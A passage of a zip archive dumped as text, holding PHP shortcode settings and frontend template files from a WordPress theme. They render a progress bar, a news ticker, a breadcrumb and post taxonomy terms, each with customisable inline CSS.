wp_enqueue_script( 'waypoints' );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-progress-bar';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'progress_bar' );

$bar_options = array();
$options     = explode( ',', $atts['options'] );
if ( in_array( 'animated', $options ) ) {
	$bar_options[] = 'animated penci-probar-animated';
}
if ( in_array( 'striped', $options ) ) {
	$bar_options[] = 'penci-probar-striped';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
        <div class="penci-block_content">
            <ul class="penci-probar-items">
				<?php
				$line_output = '';

				$max_value        = 0.0;
				$graph_lines_data = array();
				foreach ( $values as $data ) {
					$new_line             = $data;
					$new_line['value']    = isset( $data['value'] ) ? $data['value'] : 0;
					$new_line['label']    = isset( $data['label'] ) ? $data['label'] : '';
					$new_line['bgcolor']  = isset( $data['bgcolor'] ) ? ' style="background-color: ' . esc_attr( $data['bgcolor'] ) . ';"' : '';
					$new_line['txtcolor'] = isset( $data['textcolor'] ) ? ' style="color: ' . esc_attr( $data['textcolor'] ) . ';"' : '';

					if ( $max_value < (float) $new_line['value'] ) {
						$max_value = $new_line['value'];
					}
					$graph_lines_data[] = $new_line;
				}

				foreach ( $graph_lines_data as $line ) {

					if ( $max_value > 100.00 ) {
						$percentage_value = (float) $line['value'] > 0 && $max_value > 100.00 ? round( (float) $line['value'] / $max_value * 100, 4 ) : 0;
					} else {
						$percentage_value = $line['value'];
					}
					$percentage_value = number_format( intval( $percentage_value / 10 ), 1, '.', '' );

					$line_output .= '<li class="penci-probar-item">';
					$line_output .= '<div class="penci-probar-text"' . $line['txtcolor'] . '>';
					$line_output .= '<span class="penci-probar-point">' . do_shortcode( $line['label'] ) . '</span>';
					$line_output .= '<span class="penci-probar-score">' . $line['value'] . ( isset( $atts['units'] ) ? $atts['units'] : '' ) . '</span>';
					$line_output .= '</div>';
					$line_output .= '<div class="penci-review-process">';
					$line_output .= '<span class="penci-probar-run ' . esc_attr( implode( ' ', $bar_options ) ) . '" data-width="' . $percentage_value . '"' . $line['bgcolor'] . '></span>';
					$line_output .= '</div>';
					$line_output .= '</li>';
				}

				echo $line_output;
				?>
            </ul>
        </div>
    </div>
<?php

$id_progress_bar = '#' . $block_id;
$id_progress_bar2 = '#' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_progress_bar, $atts );

if ( $bar_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-review-process{ height: {{VALUE}}px; }', $bar_height );
}
if ( $bar_mar_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-probar-item{ margin-top: {{VALUE}}px; }', $bar_mar_top );
}
if ( $bar_mar_bottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-probar-item{ margin-bottom:{{VALUE}}px; }', $bar_mar_bottom );
}

// color
if ( $bar_run_bgcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-probar-run{ background-color: ' . esc_attr( $bar_run_bgcolor ) . '; }';
}
if ( $bar_bgcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-review-process{ background-color: ' . esc_attr( $bar_bgcolor ) . '; }';
}
if ( $bar_textcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-probar-text{ color: ' . esc_attr( $bar_textcolor ) . '; }';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_progress_bar, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\>    /  js_composer/shortcodes/news_ticker/settings.phpnu [        <?php
$group_color = 'Font Size & Color';

$main_params = array(
	array(
		'type'        => 'loop',
		'heading'     => '',
		'param_name'  => 'build_query',
		'value'       => 'post_type:post|size:10',
		'settings'    => array(
			'size'      => array( 'value' => 10, 'hidden' => false ),
			'post_type' => array( 'value' => 'post', 'hidden' => false )
		),
		'description' => __( 'Create WordPress loop, to filter your posts', 'soledad' ),
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Custom "Top Posts" Text', 'soledad' ),
		'param_name' => 'tpost_text',
		'std'        => 'Top Posts',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Style for "Top Posts" Text', 'soledad' ),
		'value'      => array(
			'Default Style' => '',
			'Style 2' => 'nticker-style-2',
			'Style 3' => 'nticker-style-3',
			'Style 4' => 'nticker-style-4',
		),
		'param_name' => 'headline_style',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Display Next/Prev Icons as Buttons', 'soledad' ),
		'param_name' => 'navs_buttons',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Move Next/Prev Icons/Buttons To The Right Side', 'soledad' ),
		'param_name'  => 'move_navs',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Turn off Uppercase for "Top Posts" text', 'soledad' ),
		'param_name' => 'headline_upper',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
		'param_name' => 'title_length',
		'std'        => '8',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Turn off Uppercase for Post Titles', 'soledad' ),
		'param_name' => 'titles_upper',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Disable Auto Play', 'soledad' ),
		'param_name' => 'autoplay',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Autoplay Timeout', 'soledad' ),
		'param_name' => 'autotime',
		'description'    => esc_html__( '1000 = 1 second', 'soledad' ),
		'std'        => '3000',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Autoplay Speed', 'soledad' ),
		'param_name' => 'autospeed',
		'description'    => esc_html__( '1000 = 1 second', 'soledad' ),
		'std'        => '300',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Transition Animation', 'soledad' ),
		'value'      => array(
			'Slide In Up' => '',
			'Fade In Right' => 'slideInRight',
			'Fade In' => 'fadeIn',
		),
		'param_name' => 'headline_anim',
	),
	
);


$typo_params    = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_fontsize',
		'heading'          => esc_html__( 'Font Size', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		'group'            => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'tpost_size',
		'heading'    => __( 'Font size for "Top Posts" Text', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'navs_size',
		'heading'    => __( 'Font size for Next/Prev Buttons', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'ptitles_size',
		'heading'    => __( 'Font size for Post Titles', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),

	// Colors
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_colors',
		'heading'          => esc_html__( 'Colors', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Set Borders Around The News Ticker', 'soledad' ),
		'param_name'       => 'border_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Background Color', 'soledad' ),
		'param_name'       => 'bg_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( '"Top Posts" Background Color', 'soledad' ),
		'param_name'       => 'tpost_bg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( '"Top Posts" Text Color', 'soledad' ),
		'param_name'       => 'tpost_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Icons Color', 'soledad' ),
		'param_name'       => 'navs_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Icons Hover Color', 'soledad' ),
		'param_name'       => 'navs_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Buttons Background Color', 'soledad' ),
		'param_name'       => 'navs_bg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency' => array( 'element' => 'navs_buttons', 'value' => 'yes' ),
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Buttons Hover Background Color', 'soledad' ),
		'param_name'       => 'navs_hbg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency' => array( 'element' => 'navs_buttons', 'value' => 'yes' ),
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'ptitle_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'ptitle_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
);

vc_map( array(
	'base'          => 'penci_news_ticker',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/news_ticker/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.__( 'News Ticker', 'soledad' ),
	'description'   => __( 'News Ticker', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $typo_params )
) );
PK     0w\5H  H  /  js_composer/shortcodes/news_ticker/frontend.phpnu [        <?php
$responsive_spacing = '';
$atts               = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'news-ticker' );

$query_args = penci_build_args_query( $atts['build_query'] );


$toptext = isset( $atts['tpost_text'] ) ? $atts['tpost_text'] : 'Top Posts';
?>
    <div class="penci-enews-ticker penci-topbar-trending" id="<?php echo esc_attr( $block_id ) ?>">
		<?php if ( $toptext ) {
			$toptext_style = $atts['headline_style'] ? $atts['headline_style'] : 'nticker-style-1';
			?>
            <span class="headline-title <?php echo $toptext_style; ?>"><?php echo $toptext; ?></span>
		<?php }

		$news             = new \WP_Query( $query_args );
		if ( $news->have_posts() ):
			$auto_play = $atts['autoplay'] ? 'yes' == $atts['autoplay'] : 'true';
			$auto_time    = $atts['autotime'] ? $atts['autotime'] : '3000';
			$auto_speed   = $atts['autospeed'] ? $atts['autospeed'] : '300';
			$title_length = $atts['title_length'] ? $atts['title_length'] : 8;
			$animation    = $atts['headline_anim'] ? $atts['headline_anim'] : 'slideInUp';
			$navs_buttons = isset( $atts['navs_buttons'] ) ? 'yes' == $atts['navs_buttons'] : false;
			?>
            <span class="penci-trending-nav<?php if ( $navs_buttons ): echo ' penci-navs-buttons'; endif; ?>">
				<a class="penci-slider-prev" href="#" aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
				<a class="penci-slider-next" href="#" aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
			</span>
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-headline-posts"
                 data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
                 data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
                 <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post(); ?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
				</div>
            </div>
		<?php endif; /* End check if no posts */ ?>
    </div>
<?php
$block_id_css = '#' . $block_id;
$block_id_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

// CSS
if ( 'yes' == $atts['navs_buttons'] ) {
	$css_custom .= $block_id_css . ' .penci-trending-nav a{ height: 24px; line-height: 24px; top: 4px; background: #313131; color: #fff; float: left; }';
	$css_custom .= $block_id_css . ' .penci-trending-nav a:first-child{ margin-right: 4px; }';
}
if ( 'yes' == $atts['move_navs'] ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending .penci-trending-nav{ float: right; }';
	$css_custom .= $block_id_css . ' .headline-title{ margin-right: 10px; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-2{ margin-right: 18px; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-4{ margin-right: 19px; }';
	$css_custom .= 'body.rtl ' . $block_id_css . '.penci-topbar-trending .penci-trending-nav{ float: left; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title{ margin-right: 0; margin-left: 10px; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title.nticker-style-2{ margin-left: 18px; margin-right:0; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title.nticker-style-4{ margin-left: 19px; margin-right:0; }';
}
if ( 'yes' == $atts['headline_upper'] ) {
	$css_custom .= $block_id_css . ' .headline-title{ text-transform: none; }';
}
if ( 'yes' == $atts['titles_upper'] ) {
	$css_custom .= $block_id_css . ' a.penci-topbar-post-title{ text-transform: none; }';
}
if ( ! empty( $atts['tpost_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' .headline-title{ font-size:{{VALUE}}px; }', $atts['tpost_size'] );
}
if ( ! empty( $atts['navs_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' .penci-trending-nav a{ font-size:{{VALUE}}px; }', $atts['navs_size'] );
}
if ( ! empty( $atts['ptitles_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' a.penci-topbar-post-title{ font-size:{{VALUE}}px; }', $atts['ptitles_size'] );
}
if ( ! empty( $atts['border_color'] ) ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending{ border: 1px solid ' . esc_attr( $atts['border_color'] ) . '; }';
}
if ( ! empty( $atts['bg_color'] ) ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending,' . $block_id_css . ' .penci-owl-carousel .owl-item{ background-color: ' . esc_attr( $atts['bg_color'] ) . '; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-3:after{ border-color: ' . esc_attr( $atts['bg_color'] ) . '; }';
}
if ( ! empty( $atts['tpost_bg'] ) ) {
	$css_custom .= $block_id_css . ' .headline-title{ background-color: ' . esc_attr( $atts['tpost_bg'] ) . '; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-2:after,' . $block_id_css . ' .headline-title.nticker-style-4:after{ border-color: ' . esc_attr( $atts['tpost_bg'] ) . '; }';
}
if ( ! empty( $atts['tpost_color'] ) ) {
	$css_custom .= $block_id_css2 . ' .headline-title{ color: ' . esc_attr( $atts['tpost_color'] ) . '; }';
}
if ( ! empty( $atts['navs_color'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a{ color: ' . esc_attr( $atts['navs_color'] ) . '; }';
}
if ( ! empty( $atts['navs_hcolor'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a:hover{ color: ' . esc_attr( $atts['navs_hcolor'] ) . '; }';
}
if ( ! empty( $atts['navs_bg'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a{ background-color: ' . esc_attr( $atts['navs_bg'] ) . '; }';
}
if ( ! empty( $atts['navs_hbg'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a:hover{ background-color: ' . esc_attr( $atts['navs_hbg'] ) . '; }';
}
if ( ! empty( $atts['ptitle_color'] ) ) {
	$css_custom .= $block_id_css2 . ' a.penci-topbar-post-title{ color: ' . esc_attr( $atts['ptitle_color'] ) . '; }';
}
if ( ! empty( $atts['ptitle_hcolor'] ) ) {
	$css_custom .= $block_id_css2 . ' a.penci-topbar-post-title:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . '; }';
}

if ( $auto_speed && '300' != $auto_speed ) {
	$auto_speed_num = (int) $auto_speed / 1000;
	$css_custom     .= $block_id_css . '.penci-topbar-trending .animated.slideOutUp,' . $block_id_css . '.penci-topbar-trending .animated.slideInUp,' . $block_id_css . '.penci-topbar-trending .animated.TickerslideOutRight,' . $block_id_css . '.penci-topbar-trending .animated.TickerslideInRight,' . $block_id_css . '.penci-topbar-trending .animated.fadeOut,' . $block_id_css . '.penci-topbar-trending .animated.fadeIn{ -webkit-animation-duration : ' . $auto_speed_num . 's; animation-duration : ' . $auto_speed_num . 's; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\_}
  
  8  js_composer/shortcodes/pc_single_breadcrumb/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_breadcrumb",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_breadcrumb/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Breadcrumb', 'soledad' ),
	'description'   => 'Post Builder - Breadcrumb',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Breadcrumb Align', 'soledad' ),
			'param_name'       => 'breadcrumb_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb', 'soledad' ),
			'param_name'       => 'enable_pri_cat_yoast_seo',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb-l-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'BreadCrumb Spacing', 'soledad' ),
			'param_name'       => 'breadcrumb-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Breadcrumb', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'group'      => $group_color,
			'value'      => 'no',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\Sx    8  js_composer/shortcodes/pc_single_breadcrumb/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$css_custom = '';
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
?>
    <div id="<?php echo $block_id; ?>" class="pcsb-brcrb <?php echo $css_class; ?>">
		<?php
		$yoast_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
		}

		if ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else {
			$yoast_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
			}

			if ( $yoast_breadcrumb ) {
				echo $yoast_breadcrumb;
			} else { ?>
                <div class="container penci-breadcrumb single-breadcrumb">
                    <span><a class="crumb"
                             href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php
					if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
						$primary_term = penci_get_wpseo_primary_term();

						if ( $primary_term ) {
							echo $primary_term;
						} else {
							$penci_cats = get_the_category( get_the_ID() );
							$penci_cat  = array_shift( $penci_cats );
							echo penci_get_category_parents( $penci_cat );
						}
					} else {
						$penci_cats = get_the_category( get_the_ID() );
						$penci_cat  = array_shift( $penci_cats );
						echo penci_get_category_parents( $penci_cat );
					}
					?>
                    <span><?php the_title(); ?></span>
                </div>
			<?php } ?>
		<?php } ?>
    </div>
<?php
$block_id = '#' . $block_id;
if ( $settings['breadcrumb_align'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb{text-align:' . $settings['breadcrumb_align'] . ';}';
}
if ( $settings['breadcrumb-l-hcolor'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb a:hover{color:' . $settings['breadcrumb-t-color'] . ';}';
}
if ( $settings['breadcrumb-spacing'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id . ' .container.penci-breadcrumb i', 'margin-left', $settings['breadcrumb-spacing'] );
	$css_custom .= penci_extract_responsive_fsize( $block_id . ' .container.penci-breadcrumb i', 'margin-right', $settings['breadcrumb-spacing'] - 4 );
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .container.penci-breadcrumb{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\X  X  6  js_composer/shortcodes/pc_single_taxonomy/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

function penci_get_post_taxonomies() {
	$post_taxonomies    = get_object_taxonomies( 'post' );
	$post_tax           = [];
	$post_tax['Select'] = '';
	foreach ( $post_taxonomies as $tname ) {
		$labels                     = get_taxonomy( $tname );
		$post_tax[ $labels->label ] = $tname;
	}

	return $post_tax;
}

vc_map( array(
	'base'          => "pc_single_taxonomy",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_taxonomy/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Taxonomy', 'soledad' ),
	'description'   => 'Post Builder - Taxonomy',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomies', 'soledad' ),
			'param_name'       => 'term_name',
			'value'            => penci_get_post_taxonomies(),
			'std'              => 'category',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Display Style', 'soledad' ),
			'param_name'       => 'term_style',
			'value'            => array(
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Label Style', 'soledad' ),
			'param_name'       => 'label_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'tax_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Taxonomy as Text', 'soledad' ),
			'param_name'       => 'term_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Label Text', 'soledad' ),
			'param_name'       => 'term_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Label Text', 'soledad' ),
			'param_name'       => 'label_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Color', 'soledad' ),
			'param_name'       => 'term_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover Color', 'soledad' ),
			'param_name'       => 'term_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Color', 'soledad' ),
			'param_name'       => 'term_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Hover Color', 'soledad' ),
			'param_name'       => 'term_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Color', 'soledad' ),
			'param_name'       => 'term_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Hover Color', 'soledad' ),
			'param_name'       => 'term_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Item Borders Radius', 'soledad' ),
			'param_name'       => 'term_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\[B  B  6  js_composer/shortcodes/pc_single_taxonomy/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_taxonomy' );
$css_custom  = '';
$term_name   = $settings['term_name'];
$term_text   = $settings['term_text'];
$label_text  = $settings['label_text'];
$term_link   = $settings['term_link'];
$terms       = wp_get_post_terms( get_the_ID(), $term_name );
$term_style  = $settings['term_style'];
$label_style = $settings['label_style'];
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
if ( $terms ) {
	?>
    <div id="<?php echo $block_id; ?>"
         class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $css_class ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
		<?php if ( $term_text && $label_text ) : ?>
            <span class="term-labels">
                <?php echo $label_text; ?>
            </span>
		<?php endif;
		$terms       = wp_get_post_terms( get_the_ID(), $term_name );
		$i           = 0;
		$total_items = count( $terms );
		foreach ( $terms as $term ) {
			if ( $term_link ) {
				echo '<span class="pctmp-term-item">' . $term->name . '</span>';
			} else {
				echo '<a href="' . get_term_link( $term ) . '" class="pctmp-term-item">' . $term->name . '</a>';
			}
		}

		?>
    </div>
	<?php
}
$css = [
	'tax_align'          => [ '{{WRAPPER}} .pctmp-term-list' => 'text-align:{{VALUE}}' ],
	'term_color'         => [ '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ],
